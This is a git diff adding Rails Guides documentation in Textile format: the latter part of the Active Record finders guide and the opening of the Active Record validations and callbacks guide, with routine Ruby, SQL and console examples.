+The good thing about this is that we can pass in a range for our fields without it generating a large query as shown in the preamble of this section.
+
+<ruby>
+Client.all(:conditions => { :created_at => (Time.now.midnight - 1.day)..Time.now.midnight})
+</ruby>
+
+This will find all clients created yesterday by using a +BETWEEN+ SQL statement:
+
+<sql>
+SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00')
+</sql>
+
+This demonstrates a shorter syntax for the examples in "Array Conditions":#array-conditions
+
+h5. Subset Conditions
+
+If you want to find records using the +IN+ expression you can pass an array to the conditions hash:
+
+<ruby>
+Client.all(:conditions => { :orders_count => [1,3,5] })
+</ruby>
+
+This code will generate SQL like this:
+
+<sql>
+SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5))
+</sql>
+
+h3. Find Options
+
+Apart from +:conditions+, +Model.find+ takes a variety of other options via the options hash for customizing the resulting record set.
+
+<ruby>
+Model.find(id_or_array_of_ids, options_hash)
+Model.find(:last, options_hash)
+Model.find(:first, options_hash)
+
+Model.first(options_hash)
+Model.last(options_hash)
+Model.all(options_hash)
+</ruby>
+
+The following sections give a top level overview of all the possible keys for the +options_hash+.
+
+h4. Ordering
+
+To retrieve records from the database in a specific order, you can specify the +:order+ option to the +find+ call.
+
+For example, if you're getting a set of records and want to order them in ascending order by the +created_at+ field in your table:
+
+<ruby>
+Client.all(:order => "created_at")
+</ruby>
+
+You could specify +ASC+ or +DESC+ as well:
+
+<ruby>
+Client.all(:order => "created_at DESC")
+# OR
+Client.all(:order => "created_at ASC")
+</ruby>
+
+Or ordering by multiple fields:
+
+<ruby>
+Client.all(:order => "orders_count ASC, created_at DESC")
+</ruby>
+
+h4. Selecting Specific Fields
+
+By default, <tt>Model.find</tt> selects all the fields from the result set using +select *+.
+
+To select only a subset of fields from the result set, you can specify the subset via +:select+ option on the +find+.
+
+NOTE: If the +:select+ option is used, all the returning objects will be "read only":#readonly-objects.
+
+<br />
+
+For example, to select only +viewable_by+ and +locked+ columns:
+
+<ruby>
+Client.all(:select => "viewable_by, locked")
+</ruby>
+
+The SQL query used by this find call will be somewhat like:
+
+<sql>
+SELECT viewable_by, locked FROM clients
+</sql>
+
+Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive:
+
+<shell>
+ActiveRecord::MissingAttributeError: missing attribute: <attribute>
+</shell>
+
+Where +<attribute>+ is the attribute you asked for. The +id+ method will not raise the +ActiveRecord::MissingAttributeError+, so just be careful when working with associations because they need the +id+ method to function properly.
+
+You can also call SQL functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the +DISTINCT+ function you can do it like this:
+
+<ruby>
+Client.all(:select => "DISTINCT(name)")
+</ruby>
+
+h4. Limit and Offset
+
+To apply +LIMIT+ to the SQL fired by the +Model.find+, you can specify the +LIMIT+ using +:limit+ and +:offset+ options on the find.
+
+If you want to limit the amount of records to a certain subset of all the records retrieved you usually use +:limit+ for this, sometimes coupled with +:offset+. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. For example:
+
+<ruby>
+Client.all(:limit => 5)
+</ruby>
+
+This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this:
+
+<sql>
+SELECT * FROM clients LIMIT 5
+</sql>
+
+Or specifying both +:limit+ and +:offset+:
+
+<ruby>
+Client.all(:limit => 5, :offset => 5)
+</ruby>
+
+This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like:
+
+<sql>
+SELECT * FROM clients LIMIT 5, 5
+</sql>
+
+h4. Group
+
+To apply +GROUP BY+ clause to the SQL fired by the +Model.find+, you can specify the +:group+ option on the find.
+
+For example, if you want to find a collection of the dates orders were created on:
+
+<ruby>
+Order.all(:group => "date(created_at)", :order => "created_at")
+</ruby>
+
+And this will give you a single +Order+ object for each date where there are orders in the database.
+
+The SQL that would be executed would be something like this:
+
+<sql>
+SELECT * FROM orders GROUP BY date(created_at)
+</sql>
+
+h4. Having
+
+SQL uses +HAVING+ clause to specify conditions on the +GROUP BY+ fields. You can specify the +HAVING+ clause to the SQL fired by the +Model.find+ using +:having+ option on the find.
+
+For example:
+
+<ruby>
+Order.all(:group => "date(created_at)", :having => ["created_at > ?", 1.month.ago])
+</ruby>
+
+The SQL that would be executed would be something like this:
+
+<sql>
+SELECT * FROM orders GROUP BY date(created_at) HAVING created_at > '2009-01-15'
+</sql>
+
+This will return single order objects for each day, but only for the last month.
+
+h4. Readonly Objects
+
+To explicitly disallow modification/destroyal of the matching records returned by +Model.find+, you could specify the +:readonly+ option as +true+ to the find call.
+
+Any attempt to alter or destroy the readonly records will not succeed, raising an +ActiveRecord::ReadOnlyRecord+ exception. To set this option, specify it like this:
+
+<ruby>
+Client.first(:readonly => true)
+</ruby>
+
+If you assign this record to a variable client, calling the following code will raise an +ActiveRecord::ReadOnlyRecord+ exception:
+
+<ruby>
+client = Client.first(:readonly => true)
+client.locked = false
+client.save
+</ruby>
+
+h4. Locking Records for Update
+
+Locking is helpful for preventing the race conditions when updating records in the database and ensuring atomic updated. Active Record provides two locking mechanism:
+
+* Optimistic Locking
+* Pessimistic Locking
+
+h5. Optimistic Locking
+
+Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An +ActiveRecord::StaleObjectError+ exception is thrown if that has occurred and the update is ignored.
+
+<strong>Optimistic locking column</strong>
+
+In order to use optimistic locking, the table needs to have a column called +lock_version+. Each time the record is updated, Active Record increments the +lock_version+ column and the locking facilities ensure that records instantiated twice will let the last one saved raise an +ActiveRecord::StaleObjectError+ exception if the first was also updated. Example:
+
+<ruby>
+c1 = Client.find(1)
+c2 = Client.find(1)
+
+c1.name = "Michael"
+c1.save
+
+c2.name = "should fail"
+c2.save # Raises a ActiveRecord::StaleObjectError
+</ruby>
+
+You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.
+
+NOTE: You must ensure that your database schema defaults the +lock_version+ column to +0+.
+
+<br />
+
+This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>.
+
+To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class method called +set_locking_column+:
+
+<ruby>
+class Client < ActiveRecord::Base
+ set_locking_column :lock_client_column
+end
+</ruby>
+
+h5. Pessimistic Locking
+
+Pessimistic locking uses locking mechanism provided by the underlying database. Passing +:lock => true+ to +Model.find+ obtains an exclusive lock on the selected rows. +Model.find+ using +:lock+ are usually wrapped inside a transaction for preventing deadlock conditions.
+
+For example:
+
+<ruby>
+Item.transaction do
+ i = Item.first(:lock => true)
+ i.name = 'Jones'
+ i.save
+end
+</ruby>
+
+The above session produces the following SQL for a MySQL backend:
+
+<sql>
+SQL (0.2ms) BEGIN
+Item Load (0.3ms) SELECT * FROM `items` LIMIT 1 FOR UPDATE
+Item Update (0.4ms) UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
+SQL (0.8ms) COMMIT
+</sql>
+
+You can also pass raw SQL to the +:lock+ option to allow different types of locks. For example, MySQL has an expression called +LOCK IN SHARE MODE+ where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:
+
+<ruby>
+Item.transaction do
+ i = Item.find(1, :lock => "LOCK IN SHARE MODE")
+ i.increment!(:views)
+end
+</ruby>
+
+h3. Joining Tables
+
+<tt>Model.find</tt> provides a +:joins+ option for specifying +JOIN+ clauses on the resulting SQL. There multiple different ways to specify the +:joins+ option:
+
+h4. Using a String SQL Fragment
+
+You can just supply the raw SQL specifying the +JOIN+ clause to the +:joins+ option. For example:
+
+<ruby>
+Client.all(:joins => 'LEFT OUTER JOIN addresses ON addresses.client_id = clients.id')
+</ruby>
+
+This will result in the following SQL:
+
+<sql>
+SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id
+</sql>
+
+h4. Using Array/Hash of Named Associations
+
+WARNING: This method only works with +INNER JOIN+,
+
+<br />
+
+Active Record lets you use the names of the "associations":association_basics.html defined on the model as a shortcut for specifying the +:joins+ option.
+
+For example, consider the following +Category+, +Post+, +Comments+ and +Guest+ models:
+
+<ruby>
+class Category < ActiveRecord::Base
+ has_many :posts
+end
+
+class Post < ActiveRecord::Base
+ belongs_to :category
+ has_many :comments
+ has_many :tags
+end
+
+class Comments < ActiveRecord::Base
+ belongs_to :post
+ has_one :guest
+end
+
+class Guest < ActiveRecord::Base
+ belongs_to :comment
+end
+</ruby>
+
+Now all of the following will produce the expected join queries using +INNER JOIN+:
+
+h5. Joining a Single Association
+
+<ruby>
+Category.all :joins => :posts
+</ruby>
+
+This produces:
+
+<sql>
+SELECT categories.* FROM categories
+ INNER JOIN posts ON posts.category_id = categories.id
+</sql>
+
+h5. Joining Multiple Associations
+
+<ruby>
+Post.all :joins => [:category, :comments]
+</ruby>
+
+This produces:
+
+<sql>
+SELECT posts.* FROM posts
+ INNER JOIN categories ON posts.category_id = categories.id
+ INNER JOIN comments ON comments.post_id = posts.id
+</sql>
+
+h5. Joining Nested Associations (Single Level)
+
+<ruby>
+Post.all :joins => {:comments => :guest}
+</ruby>
+
+h5. Joining Nested Associations (Multiple Level)
+
+<ruby>
+Category.all :joins => {:posts => [{:comments => :guest}, :tags]}
+</ruby>
+
+h4. Specifying Conditions on the Joined Tables
+
+You can specify conditions on the joined tables using the regular "Array":#array-conditions and "String":#pure-string-conditions conditions. "Hash conditions":#hash-conditions provides a special syntax for specifying conditions for the joined tables:
+
+<ruby>
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.all :joins => :orders, :conditions => {'orders.created_at' => time_range}
+</ruby>
+
+An alternative and cleaner syntax to this is to nest the hash conditions:
+
+<ruby>
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.all :joins => :orders, :conditions => {:orders => {:created_at => time_range}}
+</ruby>
+
+This will find all clients who have orders that were created yesterday, again using a +BETWEEN+ SQL expression.
+
+h3. Eager Loading Associations
+
+Eager loading is the mechanism for loading the associated records of the objects returned by +Model.find+ using as few queries as possible.
+
+<strong>N <plus> 1 queries problem</strong>
+
+Consider the following code, which finds 10 clients and prints their postcodes:
+
+<ruby>
+clients = Client.all(:limit => 10)
+
+clients.each do |client|
+ puts client.address.postcode
+end
+</ruby>
+
+This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 ( to find 10 clients ) <plus> 10 ( one per each client to load the address ) = <strong>11</strong> queries in total.
+
+<strong>Solution to N <plus> 1 queries problem</strong>
+
+Active Record lets you specify all the associations in advanced that are going to be loaded. This is possible by specifying the +:include+ option of the +Model.find+ call. By +:include+, Active Record ensures that all the specified associations are loaded using minimum possible number of queries.
+
+Revisiting the above case, we could rewrite +Client.all+ to use eager load addresses:
+
+<ruby>
+clients = Client.all(:include => :address, :limit => 10)
+
+clients.each do |client|
+ puts client.address.postcode
+end
+</ruby>
+
+The above code will execute just <strong>2</strong> queries, as opposed to <strong>11</strong> queries in the previous case:
+
+<sql>
+SELECT * FROM clients
+SELECT addresses.* FROM addresses
+ WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
+</sql>
+
+h4. Eager Loading Multiple Associations
+
+Active Record lets you eager load any possible number of associations with a single +Model.find+ call by using an array, hash, or a nested hash of array/hash with the +:include+ option.
+
+h5. Array of Multiple Associations
+
+<ruby>
+Post.all :include => [:category, :comments]
+</ruby>
+
+This loads all the posts and the associated category and comments for each post.
+
+h5. Nested Associations Hash
+
+<ruby>
+Category.find 1, :include => {:posts => [{:comments => :guest}, :tags]}
+</ruby>
+
+The above code finds the category with id 1 and eager loads all the posts associated with the found category. Additionally, it will also eager load every posts' tags and comments. Every comment's guest association will get eager loaded as well.
+
+h4. Specifying Conditions on Eager Loaded Associations
+
+Even though Active Record lets you specify conditions on the eager loaded associations just like +:joins+, the recommended way is to use ":joins":#joining-tables instead.
+
+h3. Dynamic Finders
+
+For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +name+ on your +Client+ model for example, you get +find_by_name+ and +find_all_by_name+ for free from Active Record. If you have also have a +locked+ field on the +Client+ model, you also get +find_by_locked+ and +find_all_by_locked+.
+
+You can do +find_last_by_*+ methods too which will find the last record matching your argument.
+
+You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an +ActiveRecord::RecordNotFound+ error if they do not return any records, like +Client.find_by_name!("Ryan")+
+
+If you want to find both by name and locked, you can chain these finders together by simply typing +and+ between the fields for example +Client.find_by_name_and_locked("Ryan", true)+.
+
+
+There's another set of dynamic finders that let you find or create/initialize objects if they aren't found. These work in a similar fashion to the other finders and can be used like +find_or_create_by_name(params[:name])+. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for +Client.find_or_create_by_name("Ryan")+:
+
+<sql>
+SELECT * FROM clients WHERE (clients.name = 'Ryan') LIMIT 1
+BEGIN
+INSERT INTO clients (name, updated_at, created_at, orders_count, locked)
+ VALUES('Ryan', '2008-09-28 15:39:12', '2008-09-28 15:39:12', 0, '0')
+COMMIT
+</sql>
+
++find_or_create+'s sibling, +find_or_initialize+, will find an object and if it does not exist will act similar to calling +new+ with the arguments you passed in. For example:
+
+<ruby>
+client = Client.find_or_initialize_by_name('Ryan')
+</ruby>
+
+will either assign an existing client object with the name "Ryan" to the client local variable, or initialize a new object similar to calling +Client.new(:name => 'Ryan')+. From here, you can modify other fields in client by calling the attribute setters on it: +client.locked = true+ and when you want to write it to the database just call +save+ on it.
+
+h3. Finding by SQL
+
+If you'd like to use your own SQL to find records in a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even the underlying query returns just a single record. For example you could run this query:
+
+<ruby>
+Client.find_by_sql("SELECT * FROM clients
+ INNER JOIN orders ON clients.id = orders.client_id
+ ORDER clients.created_at desc")
+</ruby>
+
++find_by_sql+ provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
+
+h3. +select_all+
+
+<tt>find_by_sql</tt> has a close relative called +connection#select_all+. +select_all+ will retrieve objects from the database using custom SQL just like +find_by_sql+ but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
+
+<ruby>
+Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
+</ruby>
+
+h3. Existence of Objects
+
+If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or +false+.
+
+<ruby>
+Client.exists?(1)
+</ruby>
+
+The +exists?+ method also takes multiple ids, but the catch is that it will return true if any one of those records exists.
+
+<ruby>
+Client.exists?(1,2,3)
+# or
+Client.exists?([1,2,3])
+</ruby>
+
+Further more, +exists+ takes a +conditions+ option much like find:
+
+<ruby>
+Client.exists?(:conditions => "first_name = 'Ryan'")
+</ruby>
+
+It's even possible to use +exists?+ without any arguments:
+
+<ruby>
+Client.exists?
+</ruby>
+
+The above returns +false+ if the +clients+ table is empty and +true+ otherwise.
+
+h3. Calculations
+
+This section uses count as an example method in this preamble, but the options described apply to all sub-sections.
+
+<tt>count</tt> takes conditions much in the same way +exists?+ does:
+
+<ruby>
+Client.count(:conditions => "first_name = 'Ryan'")
+</ruby>
+
+Which will execute:
+
+<sql>
+SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
+</sql>
+
+You can also use +:include+ or +:joins+ for this to do something a little more complex:
+
+<ruby>
+Client.count(:conditions => "clients.first_name = 'Ryan' AND orders.status = 'received'", :include => "orders")
+</ruby>
+
+Which will execute:
+
+<sql>
+SELECT count(DISTINCT clients.id) AS count_all FROM clients
+ LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
+ (clients.first_name = 'Ryan' AND orders.status = 'received')
+</sql>
+
+This code specifies +clients.first_name+ just in case one of the join tables has a field also called +first_name+ and it uses +orders.status+ because that's the name of our join table.
+
+h4. Count
+
+If you want to see how many records are in your model's table you could call +Client.count+ and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use +Client.count(:age)+.
+
+For options, please see the parent section, "Calculations":#calculations.
+
+h4. Average
+
+If you want to see the average of a certain number in one of your tables you can call the +average+ method on the class that relates to the table. This method call will look something like this:
+
+<ruby>
+Client.average("orders_count")
+</ruby>
+
+This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
+
+For options, please see the parent section, "Calculations":#calculations.
+
+h4. Minimum
+
+If you want to find the minimum value of a field in your table you can call the +minimum+ method on the class that relates to the table. This method call will look something like this:
+
+<ruby>
+Client.minimum("age")
+</ruby>
+
+For options, please see the parent section, "Calculations":#calculations.
+
+h4. Maximum
+
+If you want to find the maximum value of a field in your table you can call the +maximum+ method on the class that relates to the table. This method call will look something like this:
+
+<ruby>
+Client.maximum("age")
+</ruby>
+
+For options, please see the parent section, "Calculations":#calculations.
+
+h4. Sum
+
+If you want to find the sum of a field for all records in your table you can call the +sum+ method on the class that relates to the table. This method call will look something like this:
+
+<ruby>
+Client.sum("orders_count")
+</ruby>
+
+For options, please see the parent section, "Calculations":#calculations.
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/16
+
+* February 7, 2009: Second version by "Pratik":credits.html#lifo
+* December 29 2008: Initial version by "Ryan Bigg":credits.html#radar
diff --git a/railties/guides/source/activerecord_validations_callbacks.textile b/railties/guides/source/activerecord_validations_callbacks.textile
new file mode 100644
index 0000000000..5ae4884297
--- /dev/null
+++ b/railties/guides/source/activerecord_validations_callbacks.textile
@@ -0,0 +1,1086 @@
+h2. Active Record Validations and Callbacks
+
+This guide teaches you how to hook into the lifecycle of your Active Record objects. You will learn how to validate the state of objects before they go into the database, and how to perform custom operations at certain points in the object lifecycle.
+
+After reading this guide and trying out the presented concepts, we hope that you'll be able to:
+
+* Understand the lifecycle of Active Record objects
+* Use the built-in Active Record validation helpers
+* Create your own custom validation methods
+* Work with the error messages generated by the validation process
+* Create callback methods that respond to events in the object lifecycle
+* Create special classes that encapsulate common behavior for your callbacks
+* Create Observers that respond to lifecycle events outside of the original class
+
+endprologue.
+
+h3. The Object Lifecycle
+
+During the normal operation of a Rails application objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object lifecycle</em> so that you can control your application and its data.
+
+Validations allow you to ensure that only valid data is stored in your database. Callbacks and observers allow you to trigger logic before or after an alteration of an object's state.
+
+h3. Validations Overview
+
+Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture.
+
+h4. Why Use Validations?
+
+Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address.
+
+There are several ways to validate data before it is saved into your database, including native database constraints, client-side validations, controller-level validations, and model-level validations.
+
+* Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise.
+* Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be bypassed if JavaScript is turned off in the user's browser. However, if combined with other techniques, client-side validation can be a convenient way to provide users with immediate feedback as they use your site.
+* Controller-level validations can be tempting to use, but often become unwieldy and difficult to test and maintain. Whenever possible, it's a good idea to "keep your controllers skinny":http://weblog.jamisbuck.org/2006/10/18/skinny-controller-fat-model, as it will make your application a pleasure to work with in the long run.
+* Model-level validations are the best way to ensure that only valid data is saved into your database. They are database agnostic, cannot be bypassed by end users, and are convenient to test and maintain. Rails makes them easy to use, provides built-in helpers for common needs, and allows you to create your own validation methods as well.
+
+h4. When Does Validation Happen?
+
+There are two kinds of Active Record objects: those that correspond to a row inside your database and those that do not. When you create a fresh object, for example using the +new+ method, that object does not belong to the database yet. Once you call +save+ upon that object it will be saved into the appropriate database table. Active Record uses the +new_record?+ instance method to determine whether an object is already in the database or not. Consider the following simple Active Record class:
+
+<ruby>
+class Person < ActiveRecord::Base
+end
+</ruby>
+
+We can see how it works by looking at some script/console output:
+
+<shell>
+>> p = Person.new(:name => "John Doe")
+=> #<Person id: nil, name: "John Doe", created_at: nil, :updated_at: nil>
+>> p.new_record?
+=> true
+>> p.save
+=> true
+>> p.new_record?
+=> false
+</shell>
+
+Creating and saving a new record will send an SQL +INSERT+ operation to the database. Updating an existing record will send an SQL +UPDATE+ operation instead. Validations are typically run before these commands are sent to the database. If any validations fail, the object will be marked as invalid and Active Record will not perform the +INSERT+ or +UPDATE+ operation. This helps to avoid storing an invalid object in the database. You can choose to have specific validations run when an object is created, saved, or updated.
+
+CAUTION: There are many ways to change the state of an object in the database. Some methods will trigger validations, but some will not. This means that it's possible to save an object in the database in an invalid state if you aren't careful.
+
+The following methods trigger validations, and will save the object to the database only if the object is valid:
+
+* +create+
+* +create!+
+* +save+
+* +save!+
+* +update+
+* +update_attributes+
+* +update_attributes!+
+
+The bang versions (e.g. +save!+) raise an exception if the record is invalid. The non-bang versions don't: +save+ and +update_attributes+ return +false+, +create+ and +update+ just return the object/s.
+
+h4. Skipping Validations
+
+The following methods skip validations, and will save the object to the database regardless of its validity. They should be used with caution.
+
+* +decrement!+
+* +decrement_counter+
+* +increment!+
+* +increment_counter+
+* +toggle!+
+* +update_all+
+* +update_attribute+
+* +update_counters+
+
+Note that +save+ also has the ability to skip validations if passed +false+ as argument. This technique should be used with caution.
+
+* +save(false)+
+
+h4. +valid?+ and +invalid?+
+
+To verify whether or not an object is valid, Rails uses the +valid?+ method. You can also use this method on your own. +valid?+ triggers your validations and returns true if no errors were added to the object, and false otherwise.
+
+<ruby>
+class Person < ActiveRecord::Base
+ validates_presence_of :name
+end
+
+Person.create(:name => "John Doe").valid? # => true
+Person.create(:name => nil).valid? # => false
+</ruby>
+
+When Active Record is performing validations, any errors found can be accessed through the +errors+ instance method. By definition an object is valid if this collection is empty after running validations.
+
+Note that an object instantiated with +new+ will not report errors even if it's technically invalid, because validations are not run when using +new+.
+
+<ruby>
+class Person < ActiveRecord::Base
+ validates_presence_of :name
+end
+
+>> p = Person.new
+=> #<Person id: nil, name: nil>
+>> p.errors
+=> #<ActiveRecord::Errors..., @errors={}>
+
+>> p.valid?
+=> false
+>> p.errors
+=> #<ActiveRecord::Errors..., @errors={"name"=>["can't be blank"]}>
+
+>> p = Person.create
+=> #<Person id: nil, name: nil>
+>> p.errors
+=> #<ActiveRecord::Errors..., @errors={"name"=>["can't be blank"]}>
+
+>> p.save
+=> false
+
+>> p.save!
+=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+
+>> Person.create!
+=> ActiveRecord::RecordInvalid: Validation failed: Name can't be blank
+</ruby>
+
++invalid?+ is simply the inverse of +valid?+. +invalid?+ triggers your validations and returns true if any errors were added to the object, and false otherwise.
+
+h4. +errors.invalid?+
+
+To verify whether or not a particular attribute of an object is valid, you can use the +errors.invalid?+ method. This method is only useful _after_ validations have been run, because it only inspects the errors collection and does not trigger validations itself. It's different from the +ActiveRecord::Base#invalid?+ method explained above because it doesn't verify the validity of the object as a whole. It only checks to see whether there are errors found on an individual attribute of the object.
+
+<ruby>
+class Person < ActiveRecord::Base
+ validates_presence_of :name
+end
+
+>> Person.new.errors.invalid?(:name) # => false
+>> Person.create.errors.invalid?(:name) # => true
+</ruby>
+
+We'll cover validation errors in greater depth in the "Working with Validation Errors":#working-with-validation-errors section. For now, let's turn to the built-in validation helpers that Rails provides by default.
+
+h3. Validation Helpers
+
+Active Record offers many pre-defined validation helpers that you can use directly inside your class definitions. These helpers provide common validation rules. Every time a validation fails, an error message is added to the object's +errors+ collection, and this message is associated with the field being validated.
+
+Each helper accepts an arbitrary number of attribute names, so with a single line of code you can add the same kind of validation to several attributes.
+
+All of them accept the +:on+ and +:message+ options, which define when the validation should be run and what message should be added to the +errors+ collection if it fails, respectively. The +:on+ option takes one of the values +:save+ (the default), +:create+ or +:update+. There is a default error message for each one of the validation helpers. These messages are used when the +:message+ option isn't specified. Let's take a look at each one of the available helpers.
+
+h4. +validates_acceptance_of+
+
+Validates that a checkbox on the user interface was checked when a form was submitted. This is typically used when the user needs to agree to your application's terms of service, confirm reading some text, or any similar concept. This validation is very specific to web applications and this 'acceptance' does not need to be recorded anywhere in your database (if you don't have a field for it, the helper will just create a virtual attribute).
+
+<ruby>
+class Person < ActiveRecord::Base
+ validates_acceptance_of :terms_of_service
+end
+</ruby>
+
+The default error message for +validates_acceptance_of+ is "_must be accepted_".
+
++validates_acceptance_of+ can receive an +:accept+ option, which determines the value that will be considered acceptance. It defaults to "1", but you can change this.
+
+<ruby>
+class Person < ActiveRecord::Base
+ validates_acceptance_of :terms_of_service, :accept => 'yes'
+end
+</ruby>
+
+h4. +validates_associated+
+
+You should use this helper when your model has associations with other models and they also need to be validated. When you try to save your object, +valid?+ will be called upon each one of the associated objects.
+
+<ruby>
+class Library < ActiveRecord::Base
+ has_many :books
+ validates_associated :books
+end
+</ruby>
+
+This validation will work with all of the association types.
+
+CAUTION: Don't use +validates_associated+ on both ends of your associations, they would call each other in an infinite loop.
+
+The default error message for +validates_associated+ is "_is invalid_". Note that each associated object will contain its own +errors+ collection; errors do not bubble up to the calling model.
+
+h4. +validates_confirmation_of+
+
+You should use this helper when you have two text fields that should receive exactly the same content. For example, you may want to confirm an email address or a password. This validation creates a virtual attribute whose name is the name of the field that has to be confirmed with "_confirmation" appended.
+
+<ruby>
+class Person < ActiveRecord::Base
+ validates_confirmation_of :email
+end
+</ruby>
+
+In your view template you could use something like
+
+<erb>
+<%= text_field :person, :email %>
+<%= text_field :person, :email_confirmation %>
+</erb>
+
+This check is performed only if +email_confirmation+ is not +nil+. To require confirmation, make sure to add a presence check for the confirmation attribute (we'll take a look at +validates_presence_of+ later on this guide):
+
+<ruby>
+class Person < ActiveRecord::Base
+ validates_confirmation_of :email
+ validates_presence_of :email_confirmation
+end
+</ruby>
+
+The default error message for +validates_confirmation_of+ is "_doesn't match confirmation_".
+
+h4. +validates_exclusion_of+
+
+This helper validates that the attributes' values are not included in a given set. In fact, this set can be any enumerable object.
+
+<ruby>
+class Account < ActiveRecord::Base
+ validates_exclusion_of :subdomain, :in => %w(www),
+ :message => "Subdomain {{value}} is reserved."
+end
+</ruby>
+
+The +validates_exclusion_of+ helper has an option +:in+ that receives the set of values that will not be accepted for the validated attributes. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. This example uses the +:message+ option to show how you can include the attribute's value.
+
+The default error message for +validates_exclusion_of+ is "_is not included in the list_".
+
+h4. +validates_format_of+
+
+This helper validates the attributes' values by testing whether they match a given regular expresion, which is specified using the +:with+ option.
+
+<ruby>
+class Product < ActiveRecord::Base
+ validates_format_of :legacy_code, :with => /\A[a-zA-Z]+\z/,
+ :message => "Only letters allowed"
+end
+</ruby>
+
+The default error message for +validates_format_of+ is "_is invalid_".
+
+h4. +validates_inclusion_of+
+
+This helper validates that the attributes' values are included in a given set. In fact, this set can be any enumerable object.
+
+<ruby>
+class Coffee < ActiveRecord::Base
+ validates_inclusion_of :size, :in => %w(small medium large),
+ :message => "{{value}} is not a valid size"
+end
+</ruby>
+
+The +validates_inclusion_of+ helper has an option +:in+ that receives the set of values that will be accepted. The +:in+ option has an alias called +:within+ that you can use for the same purpose, if you'd like to. The previous example uses the +:message+ option to show how you can include the attribute's value.
+
+The default error message for +validates_inclusion_of+ is "_is not included in the list_".
+
+h4. +validates_length_of+
+
+This helper validates the length of the attributes' values. It provides a variety of options, so you can specify length constraints in different ways:
+
+<ruby>
+class Person < ActiveRecord::Base
+ validates_length_of :name, :minimum => 2
+ validates_length_of :bio, :maximum => 500
+ validates_length_of :password, :in => 6..20
+ validates_length_of :registration_number, :is => 6
+end
+</ruby>
+
+The possible length constraint options are:
+
+* +:minimum+ - The attribute cannot have less than the specified length.
+* +:maximum+ - The attribute cannot have more than the specified length.
+* +:in+ (or +:within+) - The attribute length must be included in a given interval. The value for this option must be a range.
+* +:is+ - The attribute length must be equal to the given value.
+
+The default error messages depend on the type of length validation being performed. You can personalize these messages using the +:wrong_length+, +:too_long+, and +:too_short+ options and <tt>{{count}}</tt> as a placeholder for the number corresponding to the length constraint being used. You can still use the +:message+ option to specify an error message.
+
+<ruby>
+class Person < ActiveRecord::Base
+ validates_length_of :bio, :maximum => 1000,
+ :too_long => "{{count}} characters is the maximum allowed"
+end
+</ruby>
+
+This helper counts characters by default, but you can split the value in a different way using the +:tokenizer+ option:
+
+<ruby>
+class Essay < ActiveRecord::Base
+ validates_length_of :content,
+ :minimum => 300,
+ :maximum => 400,
+ :tokenizer => lambda { |str| str.scan(/\w+/) },
+ :too_short => "must have at least {{count}} words",
+ :too_long => "must have at most {{count}} words"
+end
+</ruby>
+
+The +validates_size_of+ helper is an alias for +validates_length_of+.
+
+h4. +validates_numericality_of+
+
+This helper validates that your attributes have only numeric values. By default, it will match an optional sign followed by an integral or floating point number. To specify that only integral numbers are allowed set +:only_integer+ to true.
+
+If you set +:only_integer+ to +true+, then it will use the
+
+<ruby>
+/\A[+-]?\d+\Z/
+</ruby>
+
+regular expression to validate the attribute's value. Otherwise, it will try to convert the value to a number using +Float+.
+
+WARNING. Note that the regular expression above allows a trailing newline character.
+
+<ruby>
+class Player < ActiveRecord::Base
+ validates_numericality_of :points
+ validates_numericality_of :games_played, :only_integer => true
+end
+</ruby>
+
+Besides +:only_integer+, the +validates_numericality_of+ helper also accepts the following options to add constraints to acceptable values:
+
+* +:greater_than+ - Specifies the value must be greater than the supplied value. The default error message for this option is "_must be greater than {{count}}_".
+* +:greater_than_or_equal_to+ - Specifies the value must be greater than or equal to the supplied value. The default error message for this option is "_must be greater than or equal to {{count}}".
+* +:equal_to+ - Specifies the value must be equal to the supplied value. The default error message for this option is "_must be equal to {{count}}_".
